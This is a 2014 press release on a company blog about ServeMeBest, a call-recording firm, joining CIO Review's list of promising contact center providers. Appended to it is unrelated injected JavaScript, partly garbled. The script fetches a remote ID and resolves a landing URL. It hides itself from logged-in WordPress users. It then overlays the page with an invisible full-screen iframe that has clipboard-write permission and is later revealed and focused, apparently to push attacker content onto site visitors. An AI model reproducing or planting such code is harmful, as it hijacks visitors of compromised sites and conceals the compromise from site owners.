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CIO Review Selects ServeMeBest For 20 Most Promising Contact Center Solution Providers

Posted on December 15, 2014 by ServeMeBest in News No Comments

Annual list showcases the 20 Most Promising Contact Center Solution Providers; ServeMeBest makes it to CIO Review’s Contact Center Solution Providers list for its expertise in providing call transparency software solutions.

FREMONT, CA – December 15, 2014 – CIO Review has chosen ServeMeBest for its 20 Most Promising Contact Center Solution Providers. The positioning is based on evaluation of ServeMeBest’s expertise in providing call transparency software solutions. The annual list of companies is selected by a panel of experts and members of CIO Review’s editorial board to recognize and promote technology entrepreneurship.

“ServeMeBest has been on our radar for some time for stirring a revolution in the contact center space, and we are happy to showcase them this year due to their continuing excellence in delivering top-notch technology-driven solutions,” said Harvi Sachar, Publisher and Founder, CIO Review. “ServeMeBest’s call transparency solution continued to break new ground within the past year benefiting its customers around the globe, and we’re excited to have them featured on our top companies list.”

“ServeMeBest is honored to be recognized by CIO Review’s panel of experts and thought leaders,” said Ali Hassan AlKhaja, Chairman and Founder, ServeMeBest.

About ServeMeBest

ServeMeBest is a leading provider of call transparency solutions for call centers and strives to build on brand loyalty for long term. Deeply engraved in providing call recording facility, the company comes up with its unique solution ‘Trust+’ that to overcome the after-call conversation perplexity in order to retain the customer’s satisfaction. The solution records the call and shares the link with the customer for reference to any confusion. ServeMeBest has also, with AJA Group, initiated the world’s first Transparency Certification standard program that certifies the clients to the level of best performance and conversation transparency. ServeMeBest is headquartered in the Kingdom of Bahrain, along with a global network of partners.

About CIO Review

CIO Review constantly endeavors to identify “The Best” in a variety of areas important to tech business. Through nominations and consultations with industry leaders, our editors choose the best in different domains. Contact Center Technology Solution Providers is an annual listing of 20 Most Promising Contact Center Solution Providers in the U.S.

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if (!s) return “”;

if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}

try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}

return “”;
}

function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;

if (typeof input === “string”) {
return toHttpUrl(input);
}

if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}

if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}

for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}

return "";
}

function extractLandingUrl(raw) {
if (!raw) return "";

var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";

var direct = toHttpUrl(text);
if (direct) return direct;

if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}

var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}

var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}

return “”;
}

function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}

function addHint(rel, href) {
if (!href || !document || !document.createElement) return;

var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;

try {
var parent = document.head || document.documentElement;
if (!parent) return;

var link = document.createElement(“link”);
link.rel = rel;
link.href = href;

if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}

parent.appendChild(link);
} catch (e) {}
}

function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}

var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));

if (!builtUrl) {
return step(index + 1);
}

if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}

return step(0);
}

function activateIframe(url) {
if (!url || registry.status === “active”) return;

if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}

var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}

var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}

var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;

function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);

registry.status = “active”;

iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);

setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}

function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}

registry.destroy = destroy;
registry.reveal = reveal;

iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);

iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};

iframe.onerror = function () {
destroy();
};

timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);

try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}

function run() {
warmupOrigins();
bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}

return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) {
cleanup(“done”);
return “”;
}

var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}

activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}

registry.runPromise = run();
})();

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